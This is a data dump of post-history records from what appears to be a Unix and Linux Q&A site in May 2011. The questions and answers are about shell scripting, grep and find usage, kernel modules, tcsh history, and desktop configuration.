  <row Id="33393" PostHistoryTypeId="2" PostId="13459" RevisionGUID="5652b577-d8e6-42a0-916d-984b9b58ca33" CreationDate="2011-05-19T18:08:40.517" UserId="7612" Text="As far as I know, there is no GUI application allowing that for gnome 3. If you have Gnome 2, you can still use the settings application from menu.&#xD;&#xA;&#xD;&#xA;The easiest ways for me is to edit settings through **gconf-editor**:&#xD;&#xA;&#xD;&#xA; 1. specify your command in&#xD;&#xA;    /apps/metacity/keybinding_commands/command_X&#xD;&#xA; 2. specify your keyboard shortcut in&#xD;&#xA;        /apps/metacity/global_keybindings/run_command_X&#xD;&#xA;&#xD;&#xA;The name of keyboard you can find using **xev**. X stands for number from 1 up to 12.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33394" PostHistoryTypeId="25" PostId="13451" RevisionGUID="da024d79-537c-4e2f-9e36-4747785f8da1" CreationDate="2011-05-19T18:12:24.873" Comment="http://twitter.com/#!/StackUnix/status/71277037997916161" />
  <row Id="33395" PostHistoryTypeId="2" PostId="13460" RevisionGUID="3cbd0673-33c6-4d37-a43f-b159e6e7dd32" CreationDate="2011-05-19T18:39:20.787" UserId="1762" Text="What do you mean by unused? The fact that a module is shown by `lsmod` means that probably there was a good reason to load it. In order to find modules that are compiled, but not used, you could compare the output of `lsmod` with `/lib/modules` for your kernel version." />
  <row Id="33396" PostHistoryTypeId="5" PostId="13456" RevisionGUID="fb6c2156-6c2b-4a51-bbb1-00bd7f6669bf" CreationDate="2011-05-19T18:42:20.753" UserId="2421" Comment="it's = it is; its = possessive pronoun" Text="It depends on the filesystem.  For some filesystems (ext3 among them), a directory is actually a file with a well-known format, and the 'd' bit set in its permissions or mode. In that case, the history of what length filenames have gotten created and deleted can matter.  The kernel will fill in the first entry in the directory file that has enough room to hold the new file's name.&#xD;&#xA;&#xD;&#xA;For some other filenames, Reiserfs among them, a directory is actually [just some entries in a B+ tree][1] that's not visible in the filesystem, so a plain `ls` of a directory in a Reiserfs filesystem is in lexical order.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/ReiserFS#Design" />
  <row Id="33397" PostHistoryTypeId="2" PostId="13461" RevisionGUID="e8ae2830-0c70-4ffc-9a1c-cf19b80e7625" CreationDate="2011-05-19T18:46:09.833" UserId="4671" Text="See [rpcbind Debian bug report: reduce startup blather](http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=620800).&#xD;&#xA;&#xD;&#xA;If you are not using rpcbind (and you probably aren't), I suggest you remove it.&#xD;&#xA;&#xD;&#xA;    apt-get purge rpcbind&#xD;&#xA;&#xD;&#xA;Here is the description of `rpcbind` from `apt-cache show rpcbind`.&#xD;&#xA;&#xD;&#xA;&gt; Description: converts RPC program&#xD;&#xA;&gt; numbers into universal addresses  The&#xD;&#xA;&gt; rpcbind utility is a server that&#xD;&#xA;&gt; converts RPC program numbers  into&#xD;&#xA;&gt; universal addresses. &#xD;&#xA;&#xD;&#xA;&gt; Homepage:&#xD;&#xA;&gt; http://sourceforge.net/projects/rpcbind/" />
  <row Id="33399" PostHistoryTypeId="5" PostId="13445" RevisionGUID="0acf5875-07a1-41a9-9006-d018ac2791f3" CreationDate="2011-05-19T19:32:11.270" UserId="1925" Comment="deleted 50 characters in body" Text="Currently I'm using the following to check how long a process is actually running:&#xD;&#xA;&#xD;&#xA;    ps -eo uid,pid,etime | egrep '^ *MY_ID' | egrep 'PID_OF_PROCESS'&#xD;&#xA;&#xD;&#xA;And that outputs the following:&#xD;&#xA;&#xD;&#xA;    MY_ID PID_OF_PROCESS       00:16&#xD;&#xA;&#xD;&#xA;However, after the process ends I want to find out how long it actually ran for but I can't seem to find that information." />
  <row Id="33400" PostHistoryTypeId="5" PostId="13456" RevisionGUID="d2e3286c-f4cd-4c47-90de-59233170ad7f" CreationDate="2011-05-19T19:47:02.690" UserId="732" Comment="Add a link to some supporting documentation." Text="It depends on the filesystem.  For some filesystems (ext3 among them), a directory is actually a file with a well-known format, and the 'd' bit set in its permissions or mode. In that case, the history of what length filenames have gotten created and deleted can matter.  The kernel will fill in the first entry in the directory file that has enough room to hold the new file's name.  See http://e2fsprogs.sourceforge.net/ext2intro.html for more detail, the section titled &quot;Physical Description&quot;.&#xD;&#xA;&#xD;&#xA;For some other filesystems, Reiserfs among them, a directory is actually [just some entries in a B+ tree][1] that's not visible in the filesystem, so a plain `ls` of a directory in a Reiserfs filesystem is in lexical order.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/ReiserFS#Design" />
  <row Id="33401" PostHistoryTypeId="5" PostId="13441" RevisionGUID="617e016e-0108-4478-a698-c44a9a937ec6" CreationDate="2011-05-19T20:18:06.653" UserId="1772" Comment="corrected formatting" Text="I know this is not a tech support forum, but I am not etting an answer from alsa people and have tried much, if not everything.&#xD;&#xA;&#xD;&#xA;I can upload the alsa-info output if needed, but here is the info probably most relevant. Two codecs (one HDA, one NVIDIA HDMI)&#xD;&#xA;&#xD;&#xA;    Codec: IDT 92HD73C1X5&#xD;&#xA;    Codec: Nvidia MCP79/7A HDMI&#xD;&#xA;    Driver version:     1.0.23&#xD;&#xA;    Library version:    1.0.24.1&#xD;&#xA;    Utilities version:  1.0.24.2&#xD;&#xA;&#xD;&#xA;I have tried setting all models supported for this codec (variants of the chip) in modprobe.conf, but only the one with auto gives sound, but only 4.0 output through the stereo jacks. It seems alsa is unable to switch the third (which is Mic/Line in) to output an additional 2 channels.&#xD;&#xA;&#xD;&#xA;I noticed tons of other Codecs [here][1] with 3 jack output, but these are probably desktop chips.&#xD;&#xA;&#xD;&#xA;What should I do? Install a dev version of alsa? Pester the extremely quiet mailing list? Is there some hack/workaround I'm missing?&#xD;&#xA;&#xD;&#xA;Thanks for any help, I really need this if I'm to switch to Arch as my main OS.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kernel.org/doc/Documentation/sound/alsa/HD-Audio-Models.txt" />
  <row Id="33402" PostHistoryTypeId="2" PostId="13462" RevisionGUID="860ffc63-990b-4c71-896d-2b7c64cdc390" CreationDate="2011-05-19T20:21:29.527" UserId="885" Text="Check if your unix variant supports [process accounting](http://www.freebsd.org/doc/handbook/security-accounting.html). For example, on Ubuntu (and most other Linux distributions), this is provided by the [`acct` package](http://packages.ubuntu.com/acct) [![Install acct](http://bit.ly/software-small)](http://apt.ubuntu.com/p/acct). If the accounting subsystem is up and running, then [`lastcomm`](http://manpages.ubuntu.com/manpages/lucid/man1/lastcomm.1.html) shows information about finished processes, including how much processor time they used (the wall clock time isn't recording).&#xD;&#xA;&#xD;&#xA;If you need timing for a specific program, [invoke it through `time`](http://unix.stackexchange.com/questions/13445/how-to-check-how-long-a-process-ran-after-it-finished/13447#13447).&#xD;&#xA;&#xD;&#xA;If you need more precise information, use a fancier auditing package, for example the [audit subsystem](http://www.cyberciti.biz/tips/linux-audit-files-to-see-who-made-changes-to-a-file.html) under Linux.&#xD;&#xA;" />
  <row Id="33403" PostHistoryTypeId="6" PostId="13437" RevisionGUID="8fdf2bee-68bc-41c3-beff-ca8c7d36b456" CreationDate="2011-05-19T20:22:28.590" UserId="885" Comment="edited tags" Text="édebianàébootà" />
  <row Id="33404" PostHistoryTypeId="6" PostId="13438" RevisionGUID="f1d102ca-9568-4852-b96b-ed2b5917592b" CreationDate="2011-05-19T20:26:09.960" UserId="885" Comment="edited tags" Text="élinuxàékernelàémoduleà" />
  <row Id="33405" PostHistoryTypeId="5" PostId="13448" RevisionGUID="70552c6c-1253-4ed1-b1db-f53a8f395470" CreationDate="2011-05-19T21:08:47.740" UserId="885" Comment="added double quotes around variable substitutions" Text="A short script, xfun:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    b=$(basename &quot;$1&quot; .xmp)&#xD;&#xA;    # echo &quot;tar -cjf $b.tar.bz2 $b.xmp $b.nef&quot;&#xD;&#xA;    tar -cjf &quot;$b.tar.bz2&quot; -- &quot;$b.xmp&quot; &quot;$b.nef&quot;&#xD;&#xA;&#xD;&#xA;Invocation:&#xD;&#xA;&#xD;&#xA;    find -name &quot;*xmp&quot; -execdir ./xfun {} &quot;;&quot; " />
  <row Id="33406" PostHistoryTypeId="25" PostId="13443" RevisionGUID="ced059cf-e1c0-4ba1-bda2-8cc979ce57f9" CreationDate="2011-05-19T21:12:25.053" Comment="http://twitter.com/#!/StackUnix/status/71322337168982017" />
  <row Id="33407" PostHistoryTypeId="2" PostId="13463" RevisionGUID="91d292ba-c91d-4375-ae73-8de7b8c8769d" CreationDate="2011-05-19T21:18:52.707" UserId="885" Text="In zsh or bash ≥4:&#xD;&#xA;&#xD;&#xA;    for x in **/*.nef; do&#xD;&#xA;      x=${x%.nef}&#xD;&#xA;      if [ -e &quot;$x.xmp&quot; ]; then&#xD;&#xA;        tar -czf &quot;$x.tgz&quot; -- &quot;$x.nef&quot; &quot;$x.xmp&quot; &amp;&amp; rm -- &quot;$x.nef&quot; &quot;$x.xmp&quot;&#xD;&#xA;      fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Remove the `&amp;&amp; rm …` part if you don't want to delete the archived files.&#xD;&#xA;&#xD;&#xA;Remove the `**/` part on the first line to only act in the current directory and not in its subdirectories as well (and then the snippet will work in any shell).&#xD;&#xA;&#xD;&#xA;Some old `tar` implementations may not support `-z` to create a gzip archive; then you can use `tar -cf &quot;$x.tar&quot; -- &quot;$x.nef&quot; &quot;$x.xmp&quot; &amp;&amp; gzip -o &quot;$x.tgz&quot; -- &quot;$x.tar&quot; &amp;&amp; rm …`. If you don't want to delete the files, another possibility is `tar -cf - -- &quot;$x.nef&quot; &quot;$x.xmp&quot; | gzip &gt;&quot;$x.tgz&quot;` (this form can't be combined with `&amp;&amp; rm` because it would delete the source files even if the `tar` command failed).&#xD;&#xA;" />
  <row Id="33408" PostHistoryTypeId="6" PostId="13436" RevisionGUID="d02af9d8-0427-4ba1-b4e8-525cfb4d9d79" CreationDate="2011-05-19T21:19:57.013" UserId="885" Comment="edited tags" Text="éubuntuàéaptàésoftwareöinstallationàésourceà" />
  <row Id="33409" PostHistoryTypeId="5" PostId="13431" RevisionGUID="85229884-50a6-473b-b6d3-cebdc5dc6321" CreationDate="2011-05-19T21:23:17.853" UserId="885" Comment="formatting" Text="I've tried [krubo's solution](http://unix.stackexchange.com/questions/11670/how-to-load-tp-smapi-on-thinkpad-x120e/12496#12496) for my Thinkpad T420. However at the last step with `install`, I had to add a `--force` to make the modprobe successful; otherwise it gave me the same error as initially.&#xD;&#xA;&#xD;&#xA;However when I try to modify my battery settings, the `echo` command to `/sys/devices/platform/smapi/BAT0/stop_charge_thresh` is successful, but upon reading it, `cat` still gives 100.&#xD;&#xA;&#xD;&#xA;Also upon reboot, the module is no longer loaded, and I need to manually modprobe again. This was fixed by adding `tp_smapi` to `/etc/modules`.&#xD;&#xA;&#xD;&#xA;However, I'm happy to report that hdaps is working; I had to change the last setting in `/etc/defaults/hdaps`, `FORCEENABLE` to `yes`. I checked it using this link: [Verifying hdapsd is working (Thinkpad Wiki)](http://www.thinkwiki.org/wiki/How_to_protect_the_harddisk_through_APS#Verifying_hdapsd_is_working)." />
  <row Id="33410" PostHistoryTypeId="2" PostId="13464" RevisionGUID="45f19cd2-a055-4f23-9e9a-8b4ee86c3585" CreationDate="2011-05-19T22:32:46.903" UserId="4143" Text="So say I'm in a directory that is deep within a file structure, such as&#xD;&#xA;&#xD;&#xA;    /home/cory/projects/foo/bar/bash/baz&#xD;&#xA;&#xD;&#xA;I know that in either the current folder `baz` or one of the folders *above* me (such as `home`, `cory`, `projects`, `foo`, `bar`, or `bash`) there is a file named `happy`.  How can I find that file without searching a lot of extra folders?" />
  <row Id="33411" PostHistoryTypeId="1" PostId="13464" RevisionGUID="45f19cd2-a055-4f23-9e9a-8b4ee86c3585" CreationDate="2011-05-19T22:32:46.903" UserId="4143" Text="Is there a way to find a file in an inverse recursive search?" />
  <row Id="33412" PostHistoryTypeId="3" PostId="13464" RevisionGUID="45f19cd2-a055-4f23-9e9a-8b4ee86c3585" CreationDate="2011-05-19T22:32:46.903" UserId="4143" Text="ébashàéfindà" />
  <row Id="33413" PostHistoryTypeId="2" PostId="13465" RevisionGUID="e2e5e55c-57e2-4984-8c6d-d436a462e984" CreationDate="2011-05-19T22:44:27.003" UserId="7615" Text="Take a look at the `-mindepth` and `-maxdepth` options to `find`.&#xD;&#xA;&#xD;&#xA;`find` won't traverse directories in a backwards direction, but you can approach it in the regular direction and limit the depth of the search." />
  <row Id="33414" PostHistoryTypeId="5" PostId="13439" RevisionGUID="9dd8b8f3-9a79-4eb1-aa3c-13890c533cf3" CreationDate="2011-05-19T23:00:46.427" UserId="4671" Comment="added 29 characters in body" Text="This is customarily done by using equivs - creating a trivial package. You create a package whose sole purpose is (in this case) is to tell the package management system that you already have GRASS GIS installed. In your case the package would have no content, just dependency information.&#xD;&#xA;&#xD;&#xA;See  [equivs Ubuntu package page](http://packages.ubuntu.com/oneiric/equivs),&#xD;&#xA;[equivs-build Ubuntu man page](http://manpages.ubuntu.com/manpages/oneiric/man1/equivs-build.1.html), and a random Ubuntu howto, [Howto: create &quot;configuration packages&quot; with equivs](http://ubuntuforums.org/showthread.php?t=726317). For the record, this idea originated in Debian." />
  <row Id="33415" PostHistoryTypeId="2" PostId="13466" RevisionGUID="23788776-65b5-413e-8446-c010f7d4e387" CreationDate="2011-05-19T23:04:02.057" UserId="4143" Text="Say I have a file:&#xD;&#xA;&#xD;&#xA;    # file: 'test.txt'&#xD;&#xA;    foobar bash 1&#xD;&#xA;    bash&#xD;&#xA;    foobar happy&#xD;&#xA;    foobar&#xD;&#xA;&#xD;&#xA;I only want to know what words appear after &quot;foobar&quot;, so I can use this regex:&#xD;&#xA;&#xD;&#xA;    &quot;foobar \(\w\+\)&quot;&#xD;&#xA;&#xD;&#xA;The parenthesis indicate that I have a special interest in the word right after foobar.  But when I do a `grep &quot;foobar \(\w\+\)&quot; test.txt`, I get the entire lines that match the entire regex, rather than just &quot;the word after foobar&quot;:&#xD;&#xA;&#xD;&#xA;    foobar bash 1&#xD;&#xA;    foobar happy&#xD;&#xA;&#xD;&#xA;I would much prefer that the output of that command looked like this:&#xD;&#xA;&#xD;&#xA;    bash&#xD;&#xA;    happy&#xD;&#xA;&#xD;&#xA;Is there a way to tell grep to only output the items that match the grouping (or a specific grouping) in a regular expression?" />
  <row Id="33416" PostHistoryTypeId="1" PostId="13466" RevisionGUID="23788776-65b5-413e-8446-c010f7d4e387" CreationDate="2011-05-19T23:04:02.057" UserId="4143" Text="Can grep output only specified groupings that match?" />
  <row Id="33417" PostHistoryTypeId="3" PostId="13466" RevisionGUID="23788776-65b5-413e-8446-c010f7d4e387" CreationDate="2011-05-19T23:04:02.057" UserId="4143" Text="égrepàéregexà" />
  <row Id="33418" PostHistoryTypeId="2" PostId="13467" RevisionGUID="e3ec7cd3-00a4-4c95-b314-3ca4ed2e95b8" CreationDate="2011-05-19T23:17:40.610" UserId="885" Text="No, grep can't do this, even GNU grep. You need to turn to sed, awk or perl. Here are a few examples that do what you want on your sample input; they behave slightly differently in corner cases.&#xD;&#xA;&#xD;&#xA;    sed -n -e 's/^foobar \([[:alnum:]]\+\).*/\1/p'&#xD;&#xA;    awk '$1 == &quot;foobar&quot; {print $2}'&#xD;&#xA;    perl -lne 's/^foobar\s+// or next; s/\s.*//; print'&#xD;&#xA;" />
  <row Id="33419" PostHistoryTypeId="6" PostId="13466" RevisionGUID="e966032e-b0a7-42c4-9ec7-494257891e9d" CreationDate="2011-05-19T23:17:49.640" UserId="885" Comment="edited tags" Text="étextöprocessingàégrepàéregexà" />
  <row Id="33420" PostHistoryTypeId="5" PostId="13465" RevisionGUID="c3480924-af52-4157-9068-8820dfa6f944" CreationDate="2011-05-19T23:21:21.090" UserId="7615" Comment="Added example" Text="Take a look at the `-mindepth` and `-maxdepth` options to `find`.&#xD;&#xA;&#xD;&#xA;`find` won't traverse directories in a backwards direction, but you can approach it in the regular direction and limit the depth of the search.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    find /home /home/cory /home/cory/projects /home/cory/projects/foo /home/cory/projects/foo/bar /home/cory/projects/foo/bar/bash -maxdepth 0 -name happy -print" />
  <row Id="33421" PostHistoryTypeId="25" PostId="13466" RevisionGUID="001184bb-c7ba-4ce5-8c09-1a54dbca1f57" CreationDate="2011-05-20T00:12:25.360" Comment="http://twitter.com/#!/StackUnix/status/71367636675600385" />
  <row Id="33422" PostHistoryTypeId="17" PostId="13469" RevisionGUID="b5e28ac2-6fc9-407b-b11c-40b8701bd84d" CreationDate="2011-05-20T00:54:44.933" UserId="-1" Comment="from http://stackoverflow.com/questions/6063340/are-there-any-linux-distros-currently-using-wayland/6063528#6063528" Text="" />
  <row Id="33423" PostHistoryTypeId="2" PostId="13469" RevisionGUID="957b70d1-c35d-48ad-8fdf-d33da5ffb9d3" CreationDate="2011-05-19T18:55:05.087" UserDisplayName="Joseph Redfern" Text="It would seem that you can use a... &quot;experimental&quot; version with Arch Linux.&#xD;&#xA;&#xD;&#xA;https://wiki.archlinux.org/index.php/Wayland" />
  <row Id="33424" PostHistoryTypeId="2" PostId="13468" RevisionGUID="768bc949-2116-4aa3-ab0f-50469d7d4c96" CreationDate="2011-05-19T18:39:15.223" UserDisplayName="Bryan Agee" Text="I know that Ubuntu is planning to use it in 11.10, and Fedora has announced 'eventual' migration, but I'm curious if there is something using it already that I could load in a VM to help with compatibility testing." />
  <row Id="33425" PostHistoryTypeId="1" PostId="13468" RevisionGUID="768bc949-2116-4aa3-ab0f-50469d7d4c96" CreationDate="2011-05-19T18:39:15.223" UserDisplayName="Bryan Agee" Text="Are there any Linux distros currently using Wayland?" />
  <row Id="33426" PostHistoryTypeId="3" PostId="13468" RevisionGUID="768bc949-2116-4aa3-ab0f-50469d7d4c96" CreationDate="2011-05-19T18:39:15.223" UserDisplayName="Bryan Agee" Text="élinuxàéx11à" />
  <row Id="33427" PostHistoryTypeId="17" PostId="13468" RevisionGUID="abe79a5a-eefb-4d8e-aac9-4eb41c66e3ad" CreationDate="2011-05-20T00:54:44.933" UserId="-1" Comment="from http://stackoverflow.com/questions/6063340/are-there-any-linux-distros-currently-using-wayland" Text="" />
  <row Id="33428" PostHistoryTypeId="2" PostId="13470" RevisionGUID="3d89ed4a-129f-4726-ab59-3fd3160ea752" CreationDate="2011-05-20T01:07:12.230" UserId="7618" Text="Well, if you know that foobar is always the first word or the line, then you can use cut.  Like so:&#xD;&#xA;&#xD;&#xA;    grep &quot;foobar&quot; test.file | cut -d&quot; &quot; -f2&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33429" PostHistoryTypeId="2" PostId="13471" RevisionGUID="831dd69e-84a4-4be2-8c0e-c22269c702e3" CreationDate="2011-05-20T01:26:03.947" UserId="7617" Text="Hello,&#xD;&#xA;&#xD;&#xA;I'm trying to add the date to my tcsh history information and I can't seem to figure out how to make it work.  The tcsh man page reads like this for the history setting:&#xD;&#xA;&#xD;&#xA;&gt;The first word indicates the number of history events to save.  The optional second word (+) indicates the format in which history is printed;  if  not given, \`%h\t%T\t%R\n' is used.  The format sequences are described below  under  prompt;  note  the variable meaning of `%R'.  Set to `100' by default.&#xD;&#xA;&#xD;&#xA;I've tried the following put a line in my .cshrc file using what they say is the default format, but I get an error every time I source.  Here is what I've tried (with the resulting error in brackets):&lt;br/&gt;&#xD;&#xA;&#xD;&#xA;set history = 2000 '%h\t%T\t%R\n' [set: Variable name must begin with a letter.]&lt;br/&gt;&#xD;&#xA;set history = 2000 %h\t%T\t%R\n [set: Variable name must begin with a letter.]&lt;br/&gt;&#xD;&#xA;set history = 2000 $DATE='%h\t%T\t%R\n' [DATE: Undefined variable.]&lt;br/&gt;&#xD;&#xA;set history = 2000 $FORMAT='%h\t%T\t%R\n' [FORMAT: Undefined variable.]&lt;br/&gt;&#xD;&#xA;set history = 2000 $TIME='%h\t%T\t%R\n' [TIME: Undefined variable.]&lt;br/&gt;&#xD;&#xA;&#xD;&#xA;The following doesn't give me a source error, it gives me a &quot;history: Badly formed number.&quot; error when I try to use history:&lt;br/&gt;&#xD;&#xA;set history = '2000 %h\t%T\t%R\n'&#xD;&#xA;&#xD;&#xA;I'm obviously just thrashing around here, I don't have a lot of experience with modifying the .cshrc file.  Any help would be appreciated.&lt;br/&gt;&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;Sanjuro&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33430" PostHistoryTypeId="1" PostId="13471" RevisionGUID="831dd69e-84a4-4be2-8c0e-c22269c702e3" CreationDate="2011-05-20T01:26:03.947" UserId="7617" Text="Trouble adding date to tcsh history" />
  <row Id="33431" PostHistoryTypeId="3" PostId="13471" RevisionGUID="831dd69e-84a4-4be2-8c0e-c22269c702e3" CreationDate="2011-05-20T01:26:03.947" UserId="7617" Text="écommandöhistoryàétcshà" />
  <row Id="33432" PostHistoryTypeId="2" PostId="13472" RevisionGUID="246a13b2-3b22-41bb-a24b-85fd3205cd4e" CreationDate="2011-05-20T01:33:27.760" UserId="1078" Text="GNU grep has the `-P` option for perl-style regexes, and the `-o` option to print only what matches the pattern. These can be combined using look-around assertions (described under [Extended Patterns in the perlre manpage][1]) to remove part of the grep pattern from what is determined to have matched for the purposes of `-o`. These look-around assertions have zero width in the pattern.&#xD;&#xA;&#xD;&#xA;    $ grep -oP 'foobar \K\w+' test.txt&#xD;&#xA;    bash&#xD;&#xA;    happy&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;The `\K` is the short-form (and more efficient form) of `(?&lt;=pattern)` which you use as a zero-width look-behind assertion before the text you want to output. `(?=pattern)` can be used as a zero-width look-ahead assertion after the text you want to output.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://perldoc.perl.org/perlre.html#Extended-Patterns" />
  <row Id="33433" PostHistoryTypeId="5" PostId="13472" RevisionGUID="af03f3b4-bf0b-4ff8-948f-fb87ad5a3649" CreationDate="2011-05-20T01:39:49.970" UserId="1078" Comment="added 207 characters in body" Text="GNU grep has the `-P` option for perl-style regexes, and the `-o` option to print only what matches the pattern. These can be combined using look-around assertions (described under [Extended Patterns in the perlre manpage][1]) to remove part of the grep pattern from what is determined to have matched for the purposes of `-o`. These look-around assertions have zero width in the pattern.&#xD;&#xA;&#xD;&#xA;    $ grep -oP 'foobar \K\w+' test.txt&#xD;&#xA;    bash&#xD;&#xA;    happy&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;The `\K` is the short-form (and more efficient form) of `(?&lt;=pattern)` which you use as a zero-width look-behind assertion before the text you want to output. `(?=pattern)` can be used as a zero-width look-ahead assertion after the text you want to output.&#xD;&#xA;&#xD;&#xA;For instance, if you wanted to match the word between `foo` and `bar`, you could use:&#xD;&#xA;&#xD;&#xA;    $ grep -oP 'foo \K\w+(?= bar)' test.txt&#xD;&#xA;&#xD;&#xA;or (for symmetry)&#xD;&#xA;&#xD;&#xA;    $ grep -oP '(?&lt;=foo )\w+(?= bar)' test.txt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://perldoc.perl.org/perlre.html#Extended-Patterns" />
  <row Id="33434" PostHistoryTypeId="5" PostId="13472" RevisionGUID="b4c35561-a49c-47cc-8297-e0c9ebd43684" CreationDate="2011-05-20T01:50:11.723" UserId="1078" Comment="deleted 61 characters in body" Text="GNU grep has the `-P` option for perl-style regexes, and the `-o` option to print only what matches the pattern. These can be combined using look-around assertions (described under [Extended Patterns in the perlre manpage][1]) to remove part of the grep pattern from what is determined to have matched for the purposes of `-o`.&#xD;&#xA;&#xD;&#xA;    $ grep -oP 'foobar \K\w+' test.txt&#xD;&#xA;    bash&#xD;&#xA;    happy&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;The `\K` is the short-form (and more efficient form) of `(?&lt;=pattern)` which you use as a zero-width look-behind assertion before the text you want to output. `(?=pattern)` can be used as a zero-width look-ahead assertion after the text you want to output.&#xD;&#xA;&#xD;&#xA;For instance, if you wanted to match the word between `foo` and `bar`, you could use:&#xD;&#xA;&#xD;&#xA;    $ grep -oP 'foo \K\w+(?= bar)' test.txt&#xD;&#xA;&#xD;&#xA;or (for symmetry)&#xD;&#xA;&#xD;&#xA;    $ grep -oP '(?&lt;=foo )\w+(?= bar)' test.txt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://perldoc.perl.org/perlre.html#Extended-Patterns" />
  <row Id="33435" PostHistoryTypeId="2" PostId="13473" RevisionGUID="4c6091b0-d1a3-4488-b570-e67a034da83d" CreationDate="2011-05-20T00:34:40.590" UserDisplayName="JW01" Text="I see [various examples][1] of how to add a user on Ubuntu server &#xD;&#xA;&#xD;&#xA;I have Ubuntu 10.04.2 LTS&#xD;&#xA;&#xD;&#xA;I was logged in as root and my SSH command line asked me for both a 'new password' AND the a 'new UNIX password'&#xD;&#xA;&#xD;&#xA;Not quite sure what the difference is?&#xD;&#xA;&#xD;&#xA;Why did it ask for two types of password?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    --------&#xD;&#xA;    # adduser joe&#xD;&#xA;    Adding user `joe' ...&#xD;&#xA;    Adding new group `joe' (1007) ...&#xD;&#xA;    Adding new user `joe' (1003) with group `joe' ...&#xD;&#xA;    Creating home directory `/home/joe' ...&#xD;&#xA;    Copying files from `/etc/skel' ...&#xD;&#xA;    Enter new password:&#xD;&#xA;    Retype new password:&#xD;&#xA;    Enter new UNIX password:&#xD;&#xA;    ------&#xD;&#xA;&#xD;&#xA;  [1]: http://www.howtogeek.com/howto/ubuntu/add-a-user-on-ubuntu-server/&#xD;&#xA;" />
  <row Id="33436" PostHistoryTypeId="1" PostId="13473" RevisionGUID="4c6091b0-d1a3-4488-b570-e67a034da83d" CreationDate="2011-05-20T00:34:40.590" UserDisplayName="JW01" Text="whats the difference between 'new UNIX password' and 'new password' on linux, when adding new user?" />
  <row Id="33437" PostHistoryTypeId="3" PostId="13473" RevisionGUID="4c6091b0-d1a3-4488-b570-e67a034da83d" CreationDate="2011-05-20T00:34:40.590" UserDisplayName="JW01" Text="éubuntuà" />
  <row Id="33438" PostHistoryTypeId="17" PostId="13473" RevisionGUID="325675d5-3d80-4524-8b6f-3aa3270b58b0" CreationDate="2011-05-20T02:14:16.430" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/77725/whats-the-difference-between-new-unix-password-and-new-password-on-linux-whe" Text="" />
  <row Id="33439" PostHistoryTypeId="2" PostId="13474" RevisionGUID="3abdcdb6-620f-466e-86b6-640f028ab6f5" CreationDate="2011-05-20T02:29:59.867" UserId="4485" Text="    #!/bin/bash&#xD;&#xA;&#xD;&#xA;    function upsearch () {&#xD;&#xA;    	test / == $PWD &amp;&amp; return || test -e $1 &amp;&amp; echo &quot;found: &quot; $PWD &amp;&amp; return || cd .. &amp;&amp; upsearch $1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This function will walk up from the current dir. Note, that it is a function, and will change the directory, while traversing. It will stop in the directory, where it finds the file, and will walk up to the root / if not. &#xD;&#xA;&#xD;&#xA;You might want to change it to a script instead of a function, and maybe jump back, if the file isn't found in the root directory. &#xD;&#xA;&#xD;&#xA;If you never want to cd to the dir: &#xD;&#xA;&#xD;&#xA;    upsearch () {&#xD;&#xA;      slashes=${PWD//[^\/]/}&#xD;&#xA;      directory=$PWD&#xD;&#xA;      for (( n=${#slashes}; n&gt;0; --n ))&#xD;&#xA;      do&#xD;&#xA;        test -e $directory/$1 &amp;&amp; echo $directory/$1 &amp;&amp; return &#xD;&#xA;        directory=$directory/..&#xD;&#xA;      done&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This will lead to results like /home/cory/a/b/c/../../../happy if the file is in /home/cory/. If you need a cleaned path, you could do some &#xD;&#xA;&#xD;&#xA;    cd $directory&#xD;&#xA;    echo $PWD&#xD;&#xA;    cd - &#xD;&#xA;&#xD;&#xA;on success." />
  <row Id="33440" PostHistoryTypeId="25" PostId="13438" RevisionGUID="a01757c9-bc82-43db-9445-cab3d28a09e3" CreationDate="2011-05-20T03:12:25.167" Comment="http://twitter.com/#!/StackUnix/status/71412934563217409" />
  <row Id="33441" PostHistoryTypeId="2" PostId="13475" RevisionGUID="f97257ec-d6bd-4644-a5ec-99ecb66dd71b" CreationDate="2011-05-20T04:19:48.397" UserId="6960" Text="What is the exactly difference between between a Window Manager and a Desktop Environment? E.g.:&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;https://secure.wikimedia.org/wikipedia/en/wiki/Sawfish_%28window_manager%29&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;https://secure.wikimedia.org/wikipedia/en/wiki/GNOME&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thanks!" />
  <row Id="33442" PostHistoryTypeId="1" PostId="13475" RevisionGUID="f97257ec-d6bd-4644-a5ec-99ecb66dd71b" CreationDate="2011-05-20T04:19:48.397" UserId="6960" Text="Difference between a Window Manager and a Desktop Environment?" />
  <row Id="33443" PostHistoryTypeId="3" PostId="13475" RevisionGUID="f97257ec-d6bd-4644-a5ec-99ecb66dd71b" CreationDate="2011-05-20T04:19:48.397" UserId="6960" Text="éwindowömanageràédesktopöenvironmentà" />
